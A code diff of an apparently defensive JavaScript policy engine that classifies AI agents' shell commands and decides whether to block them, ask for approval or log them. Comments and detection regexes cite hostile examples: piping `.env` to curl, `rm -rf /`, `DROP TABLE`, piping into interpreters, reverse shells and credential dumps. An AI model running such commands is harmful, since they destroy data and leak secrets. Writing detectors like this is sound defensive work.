const worstShellOp = (ops, floor = 'read') => ops.reduce((w, op) => ((SHELL_OP_RANK[op] || 0) > (SHELL_OP_RANK[w] || 0) ? op : w), floor);
|
|
1149
|
+
function classifyShellSegment(segment, depth = 0) {
|
|
1150
|
+
const raw = segment.trim();
|
|
1151
|
+
if (!raw)
|
|
788
1152
|
return 'read';
|
|
789
1153
|
const lead = shellSegmentLead(segment);
|
|
790
1154
|
// Shell navigation / session builtins do nothing to the machine on their own.
|
|
791
1155
|
if (SHELL_NEUTRAL_BUILTINS.has(lead) || /^\$env:[\w]+$/.test(lead) || /^\$\w+$/.test(lead))
|
|
792
1156
|
return 'read';
|
|
793
|
-
// Piping into an interpreter executes whatever came before — unknown code.
|
|
794
|
-
const pipesIntoInterpreter = /\|\s*(?:sudo\s+)?(?:ba|z|da|k)?sh\b|\|\s*(?:pwsh|powershell|python3?|node|perl|ruby)\b/.test(value);
|
|
795
1157
|
// A SQL client executes the statement it is given (`psql -c "DROP TABLE x"`,
|
|
796
1158
|
// `mysql -e …`, `echo "TRUNCATE …" | psql`). The exact SQL verb is the
|
|
797
1159
|
// operation, so DROP / TRUNCATE / DELETE / SELECT rules stay precise.
|
|
798
|
-
const
|
|
1160
|
+
const rawLower = raw.toLowerCase();
|
|
1161
|
+
const sqlClient = SHELL_SQL_CLIENTS.has(lead) || /\|\s*(?:sudo\s+)?(?:psql|mysql|mariadb|sqlcmd|sqlite3|mongosh?|clickhouse-client|bq|cockroach|usql)\b/.test(rawLower);
|
|
799
1162
|
if (sqlClient) {
|
|
800
1163
|
const verb = segment.match(/(?<!-)\b(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|TRUNCATE|GRANT|REVOKE|SHOW|DESCRIBE|EXPLAIN)\b(?!-)/i);
|
|
801
1164
|
if (verb)
|
|
802
1165
|
return verb[1].toUpperCase();
|
|
803
1166
|
return 'SHELL';
|
|
804
1167
|
}
|
|
1168
|
+
// A shell executor runs its quoted argument AS A COMMAND LINE: `bash -c "rm -rf /"`,
|
|
1169
|
+
// `ssh prod "kubectl delete ns x"`, `cmd /c "…"`. Classify the inner command.
|
|
1170
|
+
if (SHELL_EXECUTOR_LEADS.has(lead) && depth < 3) {
|
|
1171
|
+
const inner = quotedSpans(raw).map(cmd => classifyShellCommandOperation(cmd, depth + 1));
|
|
1172
|
+
const outer = classifyShellWords(maskQuotedSpans(raw), raw, lead);
|
|
1173
|
+
return worstShellOp([...inner, outer], 'SHELL');
|
|
1174
|
+
}
|
|
1175
|
+
// A language interpreter runs CODE. The code executes a shell only through a
|
|
1176
|
+
// process-spawning API; then the strings it passes are command lines. Otherwise
|
|
1177
|
+
// every word in it — a log line, a doc comment, a regex — is data.
|
|
1178
|
+
if (SHELL_INTERPRETER_LEADS.has(lead) && depth < 3) {
|
|
1179
|
+
const code = quotedSpans(raw).join('\n');
|
|
1180
|
+
if (code && codeSpawnsProcess(code, lead)) {
|
|
1181
|
+
const inner = codeCommandLiterals(code, lead).map(cmd => classifyShellCommandOperation(cmd, depth + 1));
|
|
1182
|
+
return worstShellOp(inner, 'SHELL');
|
|
1183
|
+
}
|
|
1184
|
+
return worstShellOp([classifyShellWords(maskQuotedSpans(raw), raw, lead)], 'SHELL');
|
|
1185
|
+
}
|
|
1186
|
+
// Every other program: its quoted arguments are VALUES (a commit message, a
|
|
1187
|
+
// grep pattern, a description, a JSON body). Only the unquoted command words
|
|
1188
|
+
// decide what the line does. Targets for scope decisions come from the raw line.
|
|
1189
|
+
return classifyShellWords(maskQuotedSpans(raw), raw, lead);
|
|
1190
|
+
}
|
|
1191
|
+
/**
|
|
1192
|
+
* Classify a segment from its COMMAND WORDS (`value` — quoted values blanked).
|
|
1193
|
+
* `raw` is the unmasked segment, used only where an operand VALUE matters
|
|
1194
|
+
* (removal targets for destructive scope, transfer operands, redirect targets).
|
|
1195
|
+
*/
|
|
1196
|
+
function classifyShellWords(masked, raw, lead) {
|
|
1197
|
+
const value = masked.trim().toLowerCase();
|
|
1198
|
+
if (!value)
|
|
1199
|
+
return 'read';
|
|
1200
|
+
// Piping into an interpreter executes whatever came before — unknown code.
|
|
1201
|
+
const pipesIntoInterpreter = /\|\s*(?:sudo\s+)?(?:ba|z|da|k)?sh\b|\|\s*(?:pwsh|powershell|python3?|node|perl|ruby)\b/.test(value);
|
|
1202
|
+
const segment = raw;
|
|
805
1203
|
if (/\b(curl|wget|invoke-restmethod|invoke-webrequest|iwr|irm)\b/.test(value)) {
|
|
806
1204
|
// Before the read programs so `cat .env | curl -d @- https://…` is still an
|
|
807
1205
|
// egress WRITE. The HTTP method comes from the method flag or a request-body
|
|
@@ -843,12 +1241,13 @@ function classifyShellSegment(segment) {
|
|
|
843
1241
|
// File transfers: the LAST operand is where the data goes. Remote last = upload
|
|
844
1242
|
// (egress write); remote first = download (read). `aws s3 cp x s3://b/`,
|
|
845
1243
|
// `gsutil cp x gs://b/`, `scp x user@host:`, `rsync x host:/path`.
|
|
846
|
-
|
|
847
|
-
|
|
1244
|
+
// Operands may be quoted paths — match on the raw line, unquote each token.
|
|
1245
|
+
const xfer = segment.toLowerCase().match(/\b(?:aws\s+s3\s+(?:cp|sync|mv)|gsutil\s+(?:-m\s+)?(?:cp|rsync|mv)|az\s+storage\s+blob\s+upload|scp|rsync|sftp)\s+(.+)$/);
|
|
1246
|
+
if (xfer && /\b(?:aws\s+s3\s+(?:cp|sync|mv)|gsutil\s+(?:-m\s+)?(?:cp|rsync|mv)|az\s+storage\s+blob\s+upload|scp|rsync|sftp)\b/.test(value)) {
|
|
848
1247
|
if (/az\s+storage\s+blob\s+upload/.test(value))
|
|
849
1248
|
return 'write';
|
|
850
1249
|
// Operands = tokens that are not flags and not the value of a `--flag value` pair.
|
|
851
|
-
const tokens = xfer[1].split(/\s+/).filter(Boolean);
|
|
1250
|
+
const tokens = xfer[1].split(/\s+/).filter(Boolean).map(t => t.replace(/^["']|["']$/g, ''));
|
|
852
1251
|
const operands = [];
|
|
853
1252
|
for (let i = 0; i < tokens.length; i++) {
|
|
854
1253
|
if (tokens[i].startsWith('-')) {
|
|
@@ -870,17 +1269,11 @@ function classifyShellSegment(segment) {
|
|
|
870
1269
|
}
|
|
871
1270
|
return 'SHELL';
|
|
872
1271
|
}
|
|
873
|
-
function classifyShellCommandOperation(command) {
|
|
874
|
-
const segments = command
|
|
1272
|
+
function classifyShellCommandOperation(command, depth = 0) {
|
|
1273
|
+
const segments = splitShellSegments(command);
|
|
875
1274
|
if (segments.length === 0)
|
|
876
1275
|
return 'SHELL';
|
|
877
|
-
|
|
878
|
-
for (const segment of segments) {
|
|
879
|
-
const op = classifyShellSegment(segment);
|
|
880
|
-
if ((SHELL_OP_RANK[op] || 0) > (SHELL_OP_RANK[worst] || 0))
|
|
881
|
-
worst = op;
|
|
882
|
-
}
|
|
883
|
-
return worst;
|
|
1276
|
+
return worstShellOp(segments.map(segment => classifyShellSegment(segment, depth)), 'read');
|
|
884
1277
|
}
|
|
885
1278
|
function isInternalHost(hostname) {
|
|
886
1279
|
const host = hostname.toLowerCase();
|
|
@@ -935,6 +1328,7 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
|
|
|
935
1328
|
let worstResult = { allowed: true, verdict: 'allow' };
|
|
936
1329
|
const matchText = buildOperationMatchText(toolName, context);
|
|
937
1330
|
const toolCaps = toolCapabilities(toolName || context.toolName || '');
|
|
1331
|
+
const localFileContentAction = isLocalFileContentAction(toolName, operation, context);
|
|
938
1332
|
// When the call carries no concrete action (the inferred operation fell back to the tool name),
|
|
939
1333
|
// the tool's DECLARED operations stand in for what the call does — so a per-operation policy
|
|
940
1334
|
// (read/write/delete/drop/...) can still match a bare invocation. When the call DOES carry a
|
|
@@ -955,6 +1349,9 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
|
|
|
955
1349
|
const monitorMatches = [];
|
|
956
1350
|
let monitorWorst;
|
|
957
1351
|
const skippedOrgPolicies = [];
|
|
1352
|
+
// A `block` from a policy marked `enforcement: 'hard'` — kept as a block even
|
|
1353
|
+
// where a human is present (see the workstation ceiling below).
|
|
1354
|
+
let hardBlock;
|
|
958
1355
|
for (const policy of policies) {
|
|
959
1356
|
// Org-scoped policies bind to attributed RUNTIME USERS — anonymous/system calls (no
|
|
960
1357
|
// developerName) are deliberately out of scope. Surfaced via skippedOrgPolicies so
|
|
@@ -980,7 +1377,9 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
|
|
|
980
1377
|
const matchedRule = `${rule.operations.join('/')} → ${rule.verdict}${constraintDesc ? ` (${constraintDesc})` : ''}`;
|
|
981
1378
|
// Monitor-stage policies never enforce — record what WOULD have happened.
|
|
982
1379
|
if (isMonitorStage) {
|
|
983
|
-
|
|
1380
|
+
// A content-only block on a local file would be a warning even when enforced — not a "would block".
|
|
1381
|
+
const wouldOnlyWarn = rule.verdict === 'block' && policy.enforcement !== 'hard' && ruleNeedsContentFact(rule) && localFileContentAction;
|
|
1382
|
+
if ((rule.verdict === 'block' || rule.verdict === 'require_approval') && !wouldOnlyWarn) {
|
|
984
1383
|
const match = { policyId: policy.id, policyName: policy.name, verdict: rule.verdict, matchedRule };
|
|
985
1384
|
monitorMatches.push(match);
|
|
986
1385
|
if (!monitorWorst || verdictPriority[rule.verdict] > verdictPriority[monitorWorst.verdict])
|
|
@@ -988,18 +1387,32 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
|
|
|
988
1387
|
}
|
|
989
1388
|
continue;
|
|
990
1389
|
}
|
|
991
|
-
|
|
992
|
-
|
|
993
|
-
|
|
994
|
-
|
|
995
|
-
|
|
996
|
-
|
|
997
|
-
|
|
998
|
-
|
|
999
|
-
|
|
1000
|
-
|
|
1390
|
+
let matched = {
|
|
1391
|
+
allowed: rule.verdict === 'allow' || rule.verdict === 'log',
|
|
1392
|
+
verdict: rule.verdict,
|
|
1393
|
+
policyId: policy.id,
|
|
1394
|
+
policyName: policy.name,
|
|
1395
|
+
resourceType: policy.resourceType,
|
|
1396
|
+
matchedRule,
|
|
1397
|
+
reason: `Action policy "${policy.name}": ${rule.operations.join('/')} ${rule.verdict === 'block' ? 'blocked' : rule.verdict === 'require_approval' ? 'requires approval' : rule.verdict}`,
|
|
1398
|
+
...(rule.verdict === 'require_approval' ? { approval: resolveApprovalOptions(rule.approval) } : {}),
|
|
1399
|
+
};
|
|
1400
|
+
// Local content ceiling (see CONTENT_FACT_FIELDS): a block that fires on
|
|
1401
|
+
// what a LOCAL FILE contains is recorded as a warning, never enforced.
|
|
1402
|
+
if (rule.verdict === 'block' && policy.enforcement !== 'hard' && ruleNeedsContentFact(rule) && localFileContentAction) {
|
|
1403
|
+
matched = {
|
|
1404
|
+
...matched,
|
|
1405
|
+
allowed: true,
|
|
1406
|
+
verdict: 'log',
|
|
1407
|
+
loggedInsteadOfBlocked: true,
|
|
1408
|
+
reason: `${matched.reason} — recorded as a warning: this only touches a file on this machine and nothing leaves it (the same content leaving the machine still blocks; mark the policy Hard block to stop file edits too)`,
|
|
1001
1409
|
};
|
|
1002
1410
|
}
|
|
1411
|
+
if (rule.verdict === 'block' && policy.enforcement === 'hard' && !hardBlock)
|
|
1412
|
+
hardBlock = matched;
|
|
1413
|
+
if (verdictPriority[rule.verdict] > verdictPriority[worstResult.verdict]) {
|
|
1414
|
+
worstResult = matched;
|
|
1415
|
+
}
|
|
1003
1416
|
else if (rule.verdict === 'require_approval' && worstResult.verdict === 'require_approval') {
|
|
1004
1417
|
// A second approval rule matched: keep the first rule's attribution but tighten the
|
|
1005
1418
|
// approval routing to the most restrictive of both (a developer-scoped rule can never
|
|
@@ -1011,6 +1424,29 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
|
|
|
1011
1424
|
}
|
|
1012
1425
|
}
|
|
1013
1426
|
}
|
|
1427
|
+
// Workstation ceiling. With a HUMAN at the keyboard, an org policy's `block`
|
|
1428
|
+
// pauses the action and asks that human — unless a policy marked
|
|
1429
|
+
// `enforcement: 'hard'` also fired, in which case the hard policy blocks and
|
|
1430
|
+
// is the one named. Without a human (CI, workloads, SDK agents, or a caller
|
|
1431
|
+
// that did not assert presence) nothing changes: a block stays a block.
|
|
1432
|
+
// The fixed Local Safety catalog is evaluated before policies and is never
|
|
1433
|
+
// touched by this — root/home/drive wipes, credential dumps, reverse shells
|
|
1434
|
+
// and a secret leaving the machine stay hard everywhere.
|
|
1435
|
+
if (worstResult.verdict === 'block' && context.humanPresent === 'true') {
|
|
1436
|
+
if (hardBlock) {
|
|
1437
|
+
worstResult = { ...hardBlock, allowed: false };
|
|
1438
|
+
}
|
|
1439
|
+
else {
|
|
1440
|
+
worstResult = {
|
|
1441
|
+
...worstResult,
|
|
1442
|
+
allowed: false,
|
|
1443
|
+
verdict: 'require_approval',
|
|
1444
|
+
approval: { ...exports.WORKSTATION_ASK_APPROVAL },
|
|
1445
|
+
askedInsteadOfBlocked: true,
|
|
1446
|
+
reason: `${worstResult.reason || `Action policy "${worstResult.policyName}" blocked`} — asks you on a workstation (the policy is not marked Hard block)`,
|
|
1447
|
+
};
|
|
1448
|
+
}
|
|
1449
|
+
}
|
|
1014
1450
|
if (monitorMatches.length > 0) {
|
|
1015
1451
|
worstResult = { ...worstResult, monitorMatches };
|
|
1016
1452
|
}
|
|
@@ -1072,7 +1508,10 @@ function inferToolContext(toolName, args) {
|
|
|
1072
1508
|
// by a SQL verb sniffed out of the command line — `git commit -m "delete old
|
|
1073
1509
|
// loader"` and `grep "DROP TABLE"` are not DELETE/DROP. A SQL client invoked
|
|
1074
1510
|
// from a shell (`psql -c "DROP TABLE x"`) is still caught by the shell model.
|
|
1075
|
-
|
|
1511
|
+
// Matched on the separator-normalized name: `\b` does not see `_` as a boundary,
|
|
1512
|
+
// so `shell_command` / `run_terminal_cmd` / `execute_command` (the MCP norm)
|
|
1513
|
+
// would otherwise miss and fall through to SQL sniffing of the raw command line.
|
|
1514
|
+
const isCodeExecTool = operation === toolName && CODE_EXEC_TOOL_NAME_RE.test(nameWords);
|
|
1076
1515
|
const sqlArg = args.query || args.sql || args.statement || (isCodeExecTool ? '' : (args.command || args.code || args.script || args.input)) || '';
|
|
1077
1516
|
if (!isSearchTool && typeof sqlArg === 'string' && sqlArg.length > 0) {
|
|
1078
1517
|
const sqlMatch = sqlArg.match(/(?<!-)\b(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|TRUNCATE|GRANT|REVOKE|SHOW|DESCRIBE|EXPLAIN)\b(?!-)/i);
|
|
@@ -1084,7 +1523,7 @@ function inferToolContext(toolName, args) {
|
|
|
1084
1523
|
// Code execution MCPs such as Cursor shell or Codex node_repl are shell-equivalent,
|
|
1085
1524
|
// but classify common command text first so safe internal reads (git status, pwd, ls)
|
|
1086
1525
|
// do not get blocked as high-impact execution.
|
|
1087
|
-
if (operation === toolName &&
|
|
1526
|
+
if (operation === toolName && CODE_EXEC_TOOL_NAME_RE.test(nameWords)) {
|
|
1088
1527
|
// Only the command text is classified — never the whole args JSON, which
|
|
1089
1528
|
// would let a file body or a comment turn a shell call into DELETE.
|
|
1090
1529
|
operation = classifyShellCommandOperation(String(args.command || args.code || args.script || args.input || ''));
|